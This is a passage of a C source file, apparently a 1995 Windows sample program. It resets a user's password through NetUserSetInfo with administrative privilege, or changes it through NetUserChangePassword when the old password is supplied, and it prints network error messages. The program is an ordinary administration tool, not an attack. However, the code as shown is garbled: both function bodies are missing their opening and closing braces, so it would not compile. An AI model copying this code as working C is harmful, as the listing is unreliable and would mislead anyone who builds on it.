    Note that admin or account operator privilege is required on the 
    target machine unless argv[4] is present and represents the correct 
    current password. 

    NetUserSetInfo() at info-level 1003 is appropriate for administrative 
    over-ride of an existing password. 

    NetUserChangePassword() allows for an arbitrary user to over-ride 
    an existing password providing that the current password is confirmed. 

    Link with netapi32.lib 

Author: 

    Scott Field (sfield)    21-Dec-95 

--*/ 

#include <windows.h> 
#include <stdio.h> 

#include <lm.h> 

#define RTN_OK 0 
#define RTN_USAGE 1 
#define RTN_ERROR 13 

void 
DisplayErrorText( 
    DWORD dwLastError 
    ); 

// 
// Unicode entry point and argv 
// 

int 
__cdecl 
wmain( 
    int argc, 
    wchar_t *argv[] 
    ) 

    LPWSTR          wUserName; 
    LPWSTR          wComputerName = NULL; // default to local machine 
    LPWSTR          wOldPassword; 
    LPWSTR          wNewPassword; 
    USER_INFO_1003  pi1003; 
    NET_API_STATUS  nas; 

    if( argc < 3 ) { 
        fprintf(stderr, "Usage: %ls <user> <new_password> " 
                        "[\\\\machine | domain] [old_password]\n", 
                        argv[0]); 
        return RTN_USAGE; 
    } 

    // 
    // process command line arguments 
    // 

    wUserName = argv[1]; 
    wNewPassword = argv[2]; 

    if( argc >= 4 && *argv[3] != L'\0' ) { 

        // 
        // obtain target machine name, if appropriate 
        // always in Unicode, as that is what the API takes 
        // 

        if(argv[3][0] == L'\\' && argv[3][1] == L'\\') { 

            // 
            // target specified machine name 
            // 

            wComputerName = argv[3]; 
        } 
        else { 

            // 
            // the user specified a domain name.  Lookup the PDC 
            // 

            nas = NetGetDCName( 
                NULL, 
                argv[3], 
                (LPBYTE *)&wComputerName 
                ); 

            if(nas != NERR_Success) { 
                DisplayErrorText( nas ); 
                return RTN_ERROR; 
            } 
        } 
    } 

    if(argc == 5) { 
        wOldPassword = argv[4]; 
    } else { 
        wOldPassword = NULL; 
    } 

    if(wOldPassword == NULL) { 

        // 
        // administrative over-ride of existing password 
        // 

        pi1003.usri1003_password = wNewPassword; 

        nas = NetUserSetInfo( 
                wComputerName,  // computer name 
                wUserName,      // username 
                1003,           // info level 
                (LPBYTE)&pi1003,     // new info 
                NULL 
                ); 
    } else { 

        // 
        // allows user to change their own password 
        // 

        nas = NetUserChangePassword( 
                wComputerName, 
                wUserName, 
                wOldPassword, 
                wNewPassword 
                ); 
    } 

    if(wComputerName != NULL && wComputerName != argv[3]) { 

        // 
        // a buffer was allocated for the PDC name, free it 
        // 

        NetApiBufferFree(wComputerName); 
    } 

    if(nas != NERR_Success) { 
        DisplayErrorText( nas ); 
        return RTN_ERROR; 
    } 

    return RTN_OK; 


void 
DisplayErrorText( 
    DWORD dwLastError 
    ) 

    HMODULE hModule = NULL; // default to system source 
    LPSTR MessageBuffer; 
    DWORD dwBufferLength; 
    DWORD dwFormatFlags; 

    dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER | 
                    FORMAT_MESSAGE_IGNORE_INSERTS | 
                    FORMAT_MESSAGE_FROM_SYSTEM ; 

    // 
    // if dwLastError is in the network range, load the message source 
    // 
    if(dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) { 
        hModule = LoadLibraryEx( 
            TEXT("netmsg.dll"), 
            NULL, 
            LOAD_LIBRARY_AS_DATAFILE 
            ); 

        if(hModule != NULL) 
            dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE; 
    } 

    // 
    // call FormatMessage() to allow for message text to be acquired 
    // from the system or the supplied module handle 
    // 
    if(dwBufferLength = FormatMessageA( 
        dwFormatFlags, 
        hModule, // module to get message from (NULL == system) 
        dwLastError, 
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language 
        (LPSTR) &MessageBuffer, 
        0, 
        NULL 
        )) 
    { 
        DWORD dwBytesWritten; 

        // 
        // Output message string on stderr 
        // 
        WriteFile( 
            GetStdHandle(STD_ERROR_HANDLE), 
            MessageBuffer, 
            dwBufferLength, 
            &dwBytesWritten, 
            NULL 
            ); 

        // 
        // free the buffer allocated by the system 
        // 
        LocalFree(MessageBuffer); 
    } 

    // 
    // if we loaded a message source, unload it 
    // 
    if(hModule != NULL) 
        FreeLibrary(hModule);